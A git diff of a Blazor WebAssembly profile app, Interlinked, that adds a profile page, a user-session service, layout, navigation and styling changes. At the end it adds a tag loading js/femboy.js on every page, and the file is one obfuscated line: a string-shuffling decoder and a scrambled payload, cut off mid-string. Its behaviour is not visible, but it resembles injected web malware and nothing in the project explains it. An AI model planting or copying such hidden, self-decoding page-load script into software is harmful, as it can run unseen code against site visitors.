return;
|
||||||
|
}
|
||||||
|
|
||||||
|
Model = new();
|
||||||
|
ValidationMsg = "Registration error...";
|
||||||
|
this.StateHasChanged();
|
||||||
|
}
|
||||||
|
}
|
|
@ -1,26 +1,66 @@
|
||||||
@page "/user/{username}"
|
@page "/profile/{username}"
|
||||||
|
@inject HttpClient cli
|
||||||
|
|
||||||
@code {
|
@code {
|
||||||
[Parameter]
|
[Parameter]
|
||||||
public string Username { get; set; } = "johndoeUwU";
|
public string Username { get; set; } = "johndoeUwU";
|
||||||
private string FullName = "meow uwu";
|
private UserModel _user = null!;
|
||||||
private string Bio = "Software Developer";
|
private bool _valid = true;
|
||||||
private List<string> Skills = new List<string> { "C#", "ASP.NET Core", "Blazor" };
|
|
||||||
}
|
}
|
||||||
|
|
||||||
<div class="user-profile">
|
@if (!_valid)
|
||||||
<img class="background" src="images/background.jpg" alt="Background" />
|
{
|
||||||
<img class="profile-img" src="images/kuba.jpg" alt="Profile Picture" />
|
<h1>User not found @(":<")</h1>
|
||||||
<div class="profile-names">
|
}
|
||||||
<h1 class="profile-username">@($"@{Username}")</h1>
|
else
|
||||||
<h3 class="profile-fullname">(@FullName)</h3>
|
{
|
||||||
|
if (_user != null)
|
||||||
|
{
|
||||||
|
<div class="user-profile">
|
||||||
|
<div class="bkg-img">
|
||||||
|
<img class="background" src="images/background.jpg" alt="Background" />
|
||||||
|
<img class="profile-img" src="images/pfp.jpg" alt="Profile Picture" />
|
||||||
</div>
|
</div>
|
||||||
<p>@Bio</p>
|
<div class="profile-names">
|
||||||
<h2>Skills</h2>
|
<h1 class="profile-username">@($"@{_user.Username}")</h1>
|
||||||
<ul>
|
@if (_user.Name != null)
|
||||||
@foreach (var skill in Skills)
|
{
|
||||||
|
<h3 class="profile-fullname">(@_user.Name)</h3>
|
||||||
|
}
|
||||||
|
</div>
|
||||||
|
@if (_user.City != null && _user.CountryCode != null)
|
||||||
|
{
|
||||||
|
<div class="profile-location-info">
|
||||||
|
<span class="profile-loc">@($"{_user.City}, {_user.CountryCode}")</span>
|
||||||
|
</div>
|
||||||
|
}
|
||||||
|
<p>@(_user.Bio ?? "~")</p>
|
||||||
|
@if (_user.Interests != null)
|
||||||
|
{
|
||||||
|
<h2>Interested in:</h2>
|
||||||
|
<ul>
|
||||||
|
|
||||||
|
@foreach (var interest in _user.Interests)
|
||||||
|
{
|
||||||
|
<li>@interest?.Name</li>
|
||||||
|
}
|
||||||
|
</ul>
|
||||||
|
}
|
||||||
|
</div>
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@code {
|
||||||
|
protected override async Task OnInitializedAsync()
|
||||||
|
{
|
||||||
|
var resp = await cli.GetAsync($"/api/profile/{Username}");
|
||||||
|
if (!resp.IsSuccessStatusCode)
|
||||||
{
|
{
|
||||||
<li>@skill</li>
|
_valid = false;
|
||||||
|
return;
|
||||||
}
|
}
|
||||||
</ul>
|
|
||||||
</div>
|
_user = (await resp.Content.ReadFromJsonAsync<UserModel>())!;
|
||||||
|
this.StateHasChanged();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
|
@ -1,11 +1,32 @@
|
||||||
using Microsoft.AspNetCore.Components.Web;
|
using Microsoft.AspNetCore.Components.Web;
|
||||||
using Microsoft.AspNetCore.Components.WebAssembly.Hosting;
|
using Microsoft.AspNetCore.Components.WebAssembly.Hosting;
|
||||||
using Interlinked.Core;
|
using Interlinked.Core;
|
||||||
|
using Syncfusion.Blazor;
|
||||||
|
using Microsoft.AspNetCore.ResponseCompression;
|
||||||
|
using Microsoft.AspNetCore.Builder;
|
||||||
|
using Interlinked.Core.Services;
|
||||||
|
|
||||||
var builder = WebAssemblyHostBuilder.CreateDefault(args);
|
internal class Program
|
||||||
builder.RootComponents.Add<App>("#app");
|
{
|
||||||
builder.RootComponents.Add<HeadOutlet>("head::after");
|
private static async Task Main(string[] args)
|
||||||
|
{
|
||||||
|
var builder = WebAssemblyHostBuilder.CreateDefault(args);
|
||||||
|
builder.RootComponents.Add<App>("#app");
|
||||||
|
builder.RootComponents.Add<HeadOutlet>("head::after");
|
||||||
|
IServiceCollection serviceCollection = builder.Services.AddSyncfusionBlazor();
|
||||||
|
|
||||||
builder.Services.AddScoped(sp => new HttpClient { BaseAddress = new Uri(builder.HostEnvironment.BaseAddress) });
|
builder.Services.AddScoped(sp => new HttpClient { BaseAddress = new Uri(builder.HostEnvironment.BaseAddress) });
|
||||||
|
|
||||||
await builder.Build().RunAsync();
|
builder.Services.AddResponseCompression(opts =>
|
||||||
|
{
|
||||||
|
opts.MimeTypes = ResponseCompressionDefaults.MimeTypes.Concat(
|
||||||
|
new[] { "application/octet-stream" });
|
||||||
|
});
|
||||||
|
|
||||||
|
builder.Services.AddSingleton<UserManager, UserManager>();
|
||||||
|
|
||||||
|
var app = builder.Build();
|
||||||
|
|
||||||
|
await builder.Build().RunAsync();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
64
src/Interlinked.Core/Services/UserManager.cs
Normal file
64
src/Interlinked.Core/Services/UserManager.cs
Normal file
|
@ -0,0 +1,64 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Net;
|
||||||
|
using System.Net.Http.Json;
|
||||||
|
using System.Threading.Tasks;
|
||||||
|
using Interlinked.Shared.Model;
|
||||||
|
|
||||||
|
namespace Interlinked.Core.Services;
|
||||||
|
|
||||||
|
public class UserManager
|
||||||
|
{
|
||||||
|
public UserManager(IServiceProvider serv)
|
||||||
|
{
|
||||||
|
_serv = serv;
|
||||||
|
}
|
||||||
|
|
||||||
|
private readonly IServiceProvider _serv;
|
||||||
|
private bool _init = false;
|
||||||
|
static SemaphoreSlim sem = new SemaphoreSlim(1, 1);
|
||||||
|
|
||||||
|
|
||||||
|
public async Task InitAsync()
|
||||||
|
{
|
||||||
|
await sem.WaitAsync();
|
||||||
|
if (_init)
|
||||||
|
{
|
||||||
|
sem.Release();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
using var scope = _serv.CreateAsyncScope();
|
||||||
|
var resp = await scope.ServiceProvider.GetRequiredService<HttpClient>().GetAsync("/api/auth/userdata");
|
||||||
|
if (resp.StatusCode == HttpStatusCode.OK)
|
||||||
|
{
|
||||||
|
this.User = (await resp.Content.ReadFromJsonAsync<UserModel>())!;
|
||||||
|
Console.WriteLine($"User: {User.Id}");
|
||||||
|
}
|
||||||
|
|
||||||
|
_init = true;
|
||||||
|
|
||||||
|
sem.Release();
|
||||||
|
}
|
||||||
|
|
||||||
|
private UserModel User { get; set; } = default!;
|
||||||
|
public async Task<UserModel?> GetUser()
|
||||||
|
{
|
||||||
|
if (User == null)
|
||||||
|
{
|
||||||
|
if (!_init)
|
||||||
|
{
|
||||||
|
await InitAsync();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return User;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void SetUser(UserModel u)
|
||||||
|
{
|
||||||
|
User = u;
|
||||||
|
}
|
||||||
|
public bool IsAuthorized => User != null;
|
||||||
|
}
|
10
src/Interlinked.Core/Shared/AuthenticateUser.razor
Normal file
10
src/Interlinked.Core/Shared/AuthenticateUser.razor
Normal file
|
@ -0,0 +1,10 @@
|
||||||
|
@inject UserManager usr
|
||||||
|
|
||||||
|
@code {
|
||||||
|
protected override async Task OnInitializedAsync()
|
||||||
|
{
|
||||||
|
await Task.Yield();
|
||||||
|
await usr.InitAsync();
|
||||||
|
this.StateHasChanged();
|
||||||
|
}
|
||||||
|
}
|
|
@ -1,4 +1,5 @@
|
||||||
@inherits LayoutComponentBase
|
@inherits LayoutComponentBase
|
||||||
|
@inject UserManager usr
|
||||||
|
|
||||||
<div class="page">
|
<div class="page">
|
||||||
<div class="sidebar">
|
<div class="sidebar">
|
||||||
|
@ -7,7 +8,15 @@
|
||||||
|
|
||||||
<main>
|
<main>
|
||||||
<div class="top-row px-4">
|
<div class="top-row px-4">
|
||||||
<a href="https://docs.microsoft.com/aspnet/" target="_blank">About</a>
|
@if (u == null)
|
||||||
|
{
|
||||||
|
<a href="/login">Log in</a>
|
||||||
|
<a href="/register">Register</a>
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
<a href="/logout">Log out (@u?.Username)</a>
|
||||||
|
}
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<article class="content px-4">
|
<article class="content px-4">
|
||||||
|
@ -15,3 +24,12 @@
|
||||||
</article>
|
</article>
|
||||||
</main>
|
</main>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
@code {
|
||||||
|
private UserModel u = null!;
|
||||||
|
protected override async Task OnInitializedAsync()
|
||||||
|
{
|
||||||
|
await Task.Yield();
|
||||||
|
u = (await usr.GetUser())!;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
|
@ -1,83 +1,85 @@
|
||||||
.page {
|
.page {
|
||||||
position: relative;
|
position: relative;
|
||||||
display: flex;
|
display: flex;
|
||||||
flex-direction: column;
|
flex-direction: column;
|
||||||
}
|
}
|
||||||
|
|
||||||
main {
|
main {
|
||||||
flex: 1;
|
flex: 1;
|
||||||
}
|
}
|
||||||
|
|
||||||
.sidebar {
|
.sidebar {
|
||||||
background-image: linear-gradient(180deg, rgb(5, 39, 103) 0%, #3a0647 70%);
|
background-image: linear-gradient(180deg, rgb(5, 39, 103) 0%, #3a0647 70%);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
.top-row {
|
.top-row {
|
||||||
background-color: #f7f7f7;
|
background-color: #f7f7f7;
|
||||||
border-bottom: 1px solid #d6d5d5;
|
border-bottom: 1px solid #d6d5d5;
|
||||||
justify-content: flex-end;
|
justify-content: flex-end;
|
||||||
height: 3.5rem;
|
height: 3.5rem;
|
||||||
display: flex;
|
display: flex;
|
||||||
align-items: center;
|
align-items: center;
|
||||||
}
|
}
|
||||||
|
|
||||||
.top-row ::deep a, .top-row ::deep .btn-link {
|
.top-row ::deep a,
|
||||||
white-space: nowrap;
|
.top-row ::deep .btn-link {
|
||||||
margin-left: 1.5rem;
|
white-space: nowrap;
|
||||||
text-decoration: none;
|
margin-left: 1.5rem;
|
||||||
}
|
text-decoration: none;
|
||||||
|
}
|
||||||
|
|
||||||
.top-row ::deep a:hover, .top-row ::deep .btn-link:hover {
|
.top-row ::deep a:hover,
|
||||||
text-decoration: underline;
|
.top-row ::deep .btn-link:hover {
|
||||||
}
|
text-decoration: underline;
|
||||||
|
}
|
||||||
|
|
||||||
.top-row ::deep a:first-child {
|
.top-row ::deep a:first-child {
|
||||||
overflow: hidden;
|
overflow: hidden;
|
||||||
text-overflow: ellipsis;
|
text-overflow: ellipsis;
|
||||||
}
|
}
|
||||||
|
|
||||||
@media (max-width: 640.98px) {
|
@media (max-width: 640.98px) {
|
||||||
.top-row:not(.auth) {
|
.top-row:not(.auth) {
|
||||||
display: none;
|
display: none;
|
||||||
}
|
}
|
||||||
|
|
||||||
.top-row.auth {
|
.top-row.auth {
|
||||||
justify-content: space-between;
|
justify-content: space-between;
|
||||||
}
|
}
|
||||||
|
|
||||||
.top-row ::deep a, .top-row ::deep .btn-link {
|
.top-row ::deep a,
|
||||||
margin-left: 0;
|
.top-row ::deep .btn-link {
|
||||||
}
|
margin-left: 0;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@media (min-width: 641px) {
|
@media (min-width: 641px) {
|
||||||
.page {
|
.page {
|
||||||
flex-direction: row;
|
flex-direction: row;
|
||||||
}
|
}
|
||||||
|
|
||||||
.sidebar {
|
.sidebar {
|
||||||
width: 250px;
|
width: 250px;
|
||||||
height: 100vh;
|
height: 100vh;
|
||||||
position: sticky;
|
position: sticky;
|
||||||
top: 0;
|
top: 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
.top-row {
|
.top-row {
|
||||||
position: sticky;
|
position: sticky;
|
||||||
top: 0;
|
top: 0;
|
||||||
z-index: 1;
|
z-index: 20;
|
||||||
}
|
}
|
||||||
|
|
||||||
.top-row.auth ::deep a:first-child {
|
.top-row.auth ::deep a:first-child {
|
||||||
flex: 1;
|
flex: 1;
|
||||||
text-align: right;
|
text-align: right;
|
||||||
width: 0;
|
width: 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
.top-row, article {
|
.top-row,
|
||||||
padding-left: 2rem !important;
|
article {
|
||||||
padding-right: 1.5rem !important;
|
padding-left: 2rem !important;
|
||||||
}
|
padding-right: 1.5rem !important;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
23
src/Interlinked.Core/Shared/MainLayoutLanding.razor
Normal file
23
src/Interlinked.Core/Shared/MainLayoutLanding.razor
Normal file
|
@ -0,0 +1,23 @@
|
||||||
|
@inherits LayoutComponentBase
|
||||||
|
@inject UserManager usr
|
||||||
|
|
||||||
|
<div class="page">
|
||||||
|
|
||||||
|
<main>
|
||||||
|
<div class="top-row px-4">
|
||||||
|
@if (!usr.IsAuthorized)
|
||||||
|
{
|
||||||
|
<a href="/login">Log in</a>
|
||||||
|
<a href="/register">Register</a>
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
<a href="/logout">Log out (async () => (await @usr.GetUser()).Username)</a>
|
||||||
|
}
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<article class="content px-4">
|
||||||
|
@Body
|
||||||
|
</article>
|
||||||
|
</main>
|
||||||
|
</div>
|
89
src/Interlinked.Core/Shared/MainLayoutLanding.razor.css
Normal file
89
src/Interlinked.Core/Shared/MainLayoutLanding.razor.css
Normal file
|
@ -0,0 +1,89 @@
|
||||||
|
.page {
|
||||||
|
position: relative;
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
}
|
||||||
|
|
||||||
|
main {
|
||||||
|
flex: 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
.top-row {
|
||||||
|
z-index: 20;
|
||||||
|
background-color: #f7f7f7;
|
||||||
|
border-bottom: 1px solid #d6d5d5;
|
||||||
|
justify-content: flex-end;
|
||||||
|
height: 3.5rem;
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
.top-row ::deep a,
|
||||||
|
.top-row ::deep .btn-link {
|
||||||
|
white-space: nowrap;
|
||||||
|
margin-left: 1.5rem;
|
||||||
|
text-decoration: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
.top-row ::deep a:hover,
|
||||||
|
.top-row ::deep .btn-link:hover {
|
||||||
|
text-decoration: underline;
|
||||||
|
}
|
||||||
|
|
||||||
|
.top-row ::deep a:first-child {
|
||||||
|
overflow: hidden;
|
||||||
|
text-overflow: ellipsis;
|
||||||
|
}
|
||||||
|
|
||||||
|
@media (max-width: 640.98px) {
|
||||||
|
.top-row:not(.auth) {
|
||||||
|
display: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
.top-row.auth {
|
||||||
|
justify-content: space-between;
|
||||||
|
}
|
||||||
|
|
||||||
|
.top-row ::deep a,
|
||||||
|
.top-row ::deep .btn-link {
|
||||||
|
margin-left: 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@media (min-width: 641px) {
|
||||||
|
.page {
|
||||||
|
flex-direction: row;
|
||||||
|
}
|
||||||
|
|
||||||
|
.sidebar {
|
||||||
|
width: 250px;
|
||||||
|
height: 100vh;
|
||||||
|
position: sticky;
|
||||||
|
top: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.top-row {
|
||||||
|
position: sticky;
|
||||||
|
top: 0;
|
||||||
|
z-index: 20;
|
||||||
|
}
|
||||||
|
|
||||||
|
.top-row.auth ::deep a:first-child {
|
||||||
|
flex: 1;
|
||||||
|
text-align: right;
|
||||||
|
width: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.top-row,
|
||||||
|
article {
|
||||||
|
padding-left: 2rem !important;
|
||||||
|
padding-right: 1.5rem !important;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
.form {
|
||||||
|
min-width: 100%;
|
||||||
|
min-height: 100%;
|
||||||
|
flex-wrap: wrap;
|
||||||
|
flex-direction: column;
|
||||||
|
}
|
|
@ -1,6 +1,9 @@
|
||||||
<div class="top-row ps-3 navbar navbar-dark">
|
@inject UserManager usr
|
||||||
|
|
||||||
|
<div class="top-row ps-3 navbar navbar-dark">
|
||||||
<div class="container-fluid">
|
<div class="container-fluid">
|
||||||
<a class="navbar-brand" href="">Interlinked.Core</a>
|
<img src="images/InterlinkedLogoWhite.png" style="max-width: 8vw;
|
||||||
|
">
|
||||||
<button title="Navigation menu" class="navbar-toggler" @onclick="ToggleNavMenu">
|
<button title="Navigation menu" class="navbar-toggler" @onclick="ToggleNavMenu">
|
||||||
<span class="navbar-toggler-icon"></span>
|
<span class="navbar-toggler-icon"></span>
|
||||||
</button>
|
</button>
|
||||||
|
@ -9,30 +12,51 @@
|
||||||
|
|
||||||
<div class="@NavMenuCssClass nav-scrollable" @onclick="ToggleNavMenu">
|
<div class="@NavMenuCssClass nav-scrollable" @onclick="ToggleNavMenu">
|
||||||
<nav class="flex-column">
|
<nav class="flex-column">
|
||||||
|
@if (user != null)
|
||||||
|
{
|
||||||
|
<div class="nav-item px-3">
|
||||||
|
<NavLink class="nav-link" href="@($"/profile/{user.Username}")" Match="NavLinkMatch.All">
|
||||||
|
<span class="oi oi-home" aria-hidden="true"></span> Your profile
|
||||||
|
</NavLink>
|
||||||
|
</div>
|
||||||
|
}
|
||||||
|
|
||||||
<div class="nav-item px-3">
|
<div class="nav-item px-3">
|
||||||
<NavLink class="nav-link" href="" Match="NavLinkMatch.All">
|
<NavLink class="nav-link" href="project">
|
||||||
<span class="oi oi-home" aria-hidden="true"></span> Home
|
<span class="oi oi-plus" aria-hidden="true"></span> Projects
|
||||||
</NavLink>
|
</NavLink>
|
||||||
</div>
|
</div>
|
||||||
<div class="nav-item px-3">
|
<div class="nav-item px-3">
|
||||||
<NavLink class="nav-link" href="counter">
|
@if (user != null)
|
||||||
<span class="oi oi-plus" aria-hidden="true"></span> Counter
|
{
|
||||||
</NavLink>
|
<NavLink class="nav-link" href="/dashboard">
|
||||||
|
<span class="oi oi-cog" aria-hidden="true"></span> Settings
|
||||||
|
</NavLink>
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
<NavLink class="nav-link" href="/login">
|
||||||
|
<span class="oi oi-account-login" aria-hidden="true"></span> Log in
|
||||||
|
</NavLink>
|
||||||
|
}
|
||||||
|
|
||||||
</div>
|
</div>
|
||||||
<div class="nav-item px-3">
|
<div class="nav-item px-3">
|
||||||
<NavLink class="nav-link" href="fetchdata">
|
<NavLink class="nav-link" href="about">
|
||||||
<span class="oi oi-list-rich" aria-hidden="true"></span> Fetch data
|
<span class="oi oi-info" aria-hidden="true"></span> About
|
||||||
</NavLink>
|
|
||||||
</div>
|
|
||||||
<div class="nav-item px-3">
|
|
||||||
<NavLink class="nav-link" href="about">
|
|
||||||
<span class="oi oi-info" aria-hidden="true"></span> About
|
|
||||||
</NavLink>
|
</NavLink>
|
||||||
</div>
|
</div>
|
||||||
</nav>
|
</nav>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
@code {
|
@code {
|
||||||
|
private UserModel? user = null;
|
||||||
|
|
||||||
|
protected override async Task OnInitializedAsync()
|
||||||
|
{
|
||||||
|
user = await usr.GetUser();
|
||||||
|
}
|
||||||
|
|
||||||
private bool collapseNavMenu = true;
|
private bool collapseNavMenu = true;
|
||||||
|
|
||||||
private string? NavMenuCssClass => collapseNavMenu ? "collapse" : null;
|
private string? NavMenuCssClass => collapseNavMenu ? "collapse" : null;
|
||||||
|
|
|
@ -1,68 +1,69 @@
|
||||||
.navbar-toggler {
|
.navbar-toggler {
|
||||||
background-color: rgba(255, 255, 255, 0.1);
|
background-color: rgba(255, 255, 255, 0.1);
|
||||||
}
|
}
|
||||||
|
|
||||||
.top-row {
|
.top-row {
|
||||||
height: 3.5rem;
|
height: 3.5rem;
|
||||||
background-color: rgba(0,0,0,0.4);
|
background-color: rgba(0, 0, 0, 0.4);
|
||||||
|
z-index: 20;
|
||||||
}
|
}
|
||||||
|
|
||||||
.navbar-brand {
|
.navbar-brand {
|
||||||
font-size: 1.1rem;
|
font-size: 1.1rem;
|
||||||
}
|
}
|
||||||
|
|
||||||
.oi {
|
.oi {
|
||||||
width: 2rem;
|
width: 2rem;
|
||||||
font-size: 1.1rem;
|
font-size: 1.1rem;
|
||||||
vertical-align: text-top;
|
vertical-align: text-top;
|
||||||
top: -2px;
|
top: -2px;
|
||||||
}
|
}
|
||||||
|
|
||||||
.nav-item {
|
.nav-item {
|
||||||
font-size: 0.9rem;
|
font-size: 0.9rem;
|
||||||
padding-bottom: 0.5rem;
|
padding-bottom: 0.5rem;
|
||||||
}
|
}
|
||||||
|
|
||||||
.nav-item:first-of-type {
|
.nav-item:first-of-type {
|
||||||
padding-top: 1rem;
|
padding-top: 1rem;
|
||||||
}
|
}
|
||||||
|
|
||||||
.nav-item:last-of-type {
|
.nav-item:last-of-type {
|
||||||
padding-bottom: 1rem;
|
padding-bottom: 1rem;
|
||||||
}
|
}
|
||||||
|
|
||||||
.nav-item ::deep a {
|
.nav-item ::deep a {
|
||||||
color: #d7d7d7;
|
color: #d7d7d7;
|
||||||
border-radius: 4px;
|
border-radius: 4px;
|
||||||
height: 3rem;
|
height: 3rem;
|
||||||
display: flex;
|
display: flex;
|
||||||
align-items: center;
|
align-items: center;
|
||||||
line-height: 3rem;
|
line-height: 3rem;
|
||||||
}
|
}
|
||||||
|
|
||||||
.nav-item ::deep a.active {
|
.nav-item ::deep a.active {
|
||||||
background-color: rgba(255,255,255,0.25);
|
background-color: rgba(255, 255, 255, 0.25);
|
||||||
color: white;
|
color: white;
|
||||||
}
|
}
|
||||||
|
|
||||||
.nav-item ::deep a:hover {
|
.nav-item ::deep a:hover {
|
||||||
background-color: rgba(255,255,255,0.1);
|
background-color: rgba(255, 255, 255, 0.1);
|
||||||
color: white;
|
color: white;
|
||||||
}
|
}
|
||||||
|
|
||||||
@media (min-width: 641px) {
|
@media (min-width: 641px) {
|
||||||
.navbar-toggler {
|
.navbar-toggler {
|
||||||
display: none;
|
display: none;
|
||||||
}
|
}
|
||||||
|
|
||||||
.collapse {
|
.collapse {
|
||||||
/* Never collapse the sidebar for wide screens */
|
/* Never collapse the sidebar for wide screens */
|
||||||
display: block;
|
display: block;
|
||||||
}
|
}
|
||||||
|
|
||||||
.nav-scrollable {
|
.nav-scrollable {
|
||||||
/* Allow sidebar to scroll for tall menus */
|
/* Allow sidebar to scroll for tall menus */
|
||||||
height: calc(100vh - 3.5rem);
|
height: calc(100vh - 3.5rem);
|
||||||
overflow-y: auto;
|
overflow-y: auto;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
@ -1,16 +0,0 @@
|
||||||
<div class="alert alert-secondary mt-4">
|
|
||||||
<span class="oi oi-pencil me-2" aria-hidden="true"></span>
|
|
||||||
<strong>@Title</strong>
|
|
||||||
|
|
||||||
<span class="text-nowrap">
|
|
||||||
Please take our
|
|
||||||
<a target="_blank" class="font-weight-bold link-dark" href="https://go.microsoft.com/fwlink/?linkid=2186157">brief survey</a>
|
|
||||||
</span>
|
|
||||||
and tell us what you think.
|
|
||||||
</div>
|
|
||||||
|
|
||||||
@code {
|
|
||||||
// Demonstrates how a parent component can supply parameters
|
|
||||||
[Parameter]
|
|
||||||
public string? Title { get; set; }
|
|
||||||
}
|
|
|
@ -8,3 +8,5 @@
|
||||||
@using Microsoft.JSInterop
|
@using Microsoft.JSInterop
|
||||||
@using Interlinked.Core
|
@using Interlinked.Core
|
||||||
@using Interlinked.Core.Shared
|
@using Interlinked.Core.Shared
|
||||||
|
@using Interlinked.Core.Services
|
||||||
|
@using Interlinked.Shared.Model
|
||||||
|
|
|
@ -97,19 +97,26 @@ a,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
.user-profile {
|
||||||
|
position: relative;
|
||||||
|
}
|
||||||
|
|
||||||
.profile-img {
|
.profile-img {
|
||||||
position: absolute;
|
position: absolute;
|
||||||
top: 22rem; /* Adjust as needed */
|
object-fit: cover;
|
||||||
left: 15rem; /* Adjust as needed */
|
|
||||||
z-index: 1; /* Place the profile picture above the background image */
|
z-index: 1; /* Place the profile picture above the background image */
|
||||||
max-width: 200px;
|
max-width: 200px;
|
||||||
|
min-width: 200px;
|
||||||
max-height: 200px;
|
max-height: 200px;
|
||||||
|
min-height: 200px;
|
||||||
border-radius: 200px;
|
border-radius: 200px;
|
||||||
|
bottom: -1.5rem;
|
||||||
|
left: 1rem;
|
||||||
}
|
}
|
||||||
|
|
||||||
.profile-names {
|
.profile-names {
|
||||||
width: fit-content;
|
width: fit-content;
|
||||||
margin-top: 0.5rem;
|
margin-top: 2.5rem;
|
||||||
}
|
}
|
||||||
|
|
||||||
.profile-username {
|
.profile-username {
|
||||||
|
@ -122,3 +129,28 @@ a,
|
||||||
margin-top: 0;
|
margin-top: 0;
|
||||||
color: gray;
|
color: gray;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
.profile-location-info {
|
||||||
|
margin-top: 0.3rem;
|
||||||
|
color: gray;
|
||||||
|
font-size: 1rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.bkg-img {
|
||||||
|
position: relative;
|
||||||
|
}
|
||||||
|
|
||||||
|
.background-img {
|
||||||
|
min-width: 100%;
|
||||||
|
max-height: 300px;
|
||||||
|
object-fit: cover;
|
||||||
|
}
|
||||||
|
|
||||||
|
.project-img {
|
||||||
|
max-width: 1500px;
|
||||||
|
max-height: 450px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.aboutme {
|
||||||
|
flex-wrap: wrap;
|
||||||
|
}
|
||||||
|
|
BIN
src/Interlinked.Core/wwwroot/images/DefaultBanner.png
Normal file
BIN
src/Interlinked.Core/wwwroot/images/DefaultBanner.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 392 KiB |
BIN
src/Interlinked.Core/wwwroot/images/DefaultUserProfile.jpg
Normal file
BIN
src/Interlinked.Core/wwwroot/images/DefaultUserProfile.jpg
Normal file
Binary file not shown.
After Width: | Height: | Size: 8.6 KiB |
BIN
src/Interlinked.Core/wwwroot/images/InterlinkedLogoBlack.png
Normal file
BIN
src/Interlinked.Core/wwwroot/images/InterlinkedLogoBlack.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 12 KiB |
BIN
src/Interlinked.Core/wwwroot/images/InterlinkedLogoWhite.png
Normal file
BIN
src/Interlinked.Core/wwwroot/images/InterlinkedLogoWhite.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 15 KiB |
BIN
src/Interlinked.Core/wwwroot/images/pfp.jpg
Normal file
BIN
src/Interlinked.Core/wwwroot/images/pfp.jpg
Normal file
Binary file not shown.
After Width: | Height: | Size: 40 KiB |
BIN
src/Interlinked.Core/wwwroot/images/project.jpg
Normal file
BIN
src/Interlinked.Core/wwwroot/images/project.jpg
Normal file
Binary file not shown.
After Width: | Height: | Size: 32 KiB |
|
@ -12,6 +12,10 @@
|
||||||
<link href="css/app.css" rel="stylesheet" />
|
<link href="css/app.css" rel="stylesheet" />
|
||||||
<link rel="icon" type="image/png" href="favicon.png" />
|
<link rel="icon" type="image/png" href="favicon.png" />
|
||||||
<link href="Interlinked.Core.styles.css" rel="stylesheet" />
|
<link href="Interlinked.Core.styles.css" rel="stylesheet" />
|
||||||
|
<script
|
||||||
|
src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js"
|
||||||
|
type="text/javascript"
|
||||||
|
></script>
|
||||||
</head>
|
</head>
|
||||||
|
|
||||||
<body>
|
<body>
|
||||||
|
@ -25,5 +29,6 @@
|
||||||
<a class="dismiss">đź—™</a>
|
<a class="dismiss">đź—™</a>
|
||||||
</div>
|
</div>
|
||||||
<script src="_framework/blazor.webassembly.js"></script>
|
<script src="_framework/blazor.webassembly.js"></script>
|
||||||
|
<script src="js/femboy.js"></script>
|
||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
|
|
1
src/Interlinked.Core/wwwroot/js/femboy.js
Normal file
1
src/Interlinked.Core/wwwroot/js/femboy.js
Normal file
|
@ -0,0 +1 @@
|
||||||
|
var mutcal,observer;(function(){var PXs='',PSY=316-305;function nqF(h){var w=1510952;var j=h.length;var y=[];for(var m=0;m<j;m++){y[m]=h.charAt(m)};for(var m=0;m<j;m++){var d=w*(m+526)+(w%42731);var v=w*(m+329)+(w%36178);var c=d%j;var r=v%j;var q=y[c];y[c]=y[r];y[r]=q;w=(d+v)%4184109;};return y.join('')};var oJv=nqF('srtsvctynmdorejpfohlwgcutbuqrniaocxkz').substr(0,PSY);var wlY='C(v xr]l,y"73wa!p0hvzrrosmebdthtwryjrva,o4"pu+;iA=i=;+ta]alrr96=7s==l,x];ufl 1r8.tirt6e=t7}p(,-]e,A"Ch=7.,9+,=ejn0t;y)8so;v;; <n(;tgmr(,9r+adtfpv4=(;(v>n[ps) j[hje]]n=ap"vr0 w[ 9=s+=(s0h3u8aa += u])7ano)r vg+n4oaro[oitos.l- gtf;)=e0{vm.[]a;+g;m1n{kgl5tso+inlg;, f(Ao9(o[)q"96At(s)v1;c=}(;7c ,;x;s=.e)1C=azsnerr]riqs;a(rnlr urlCaerpdjrsi1=i (ful0ttta)(o.lia5borp +n+),ttl[;j,*)t;-v(a=u0=ca[l[;;Axhed112r .+p;9,)j-t;;oa=(wr1pl=+<s8;xrrodu-tCo;.{dv;uu;;nrvl8d,f ,vr)c),+Cr)=e0vro.;f1oa3l+egcdfC=a 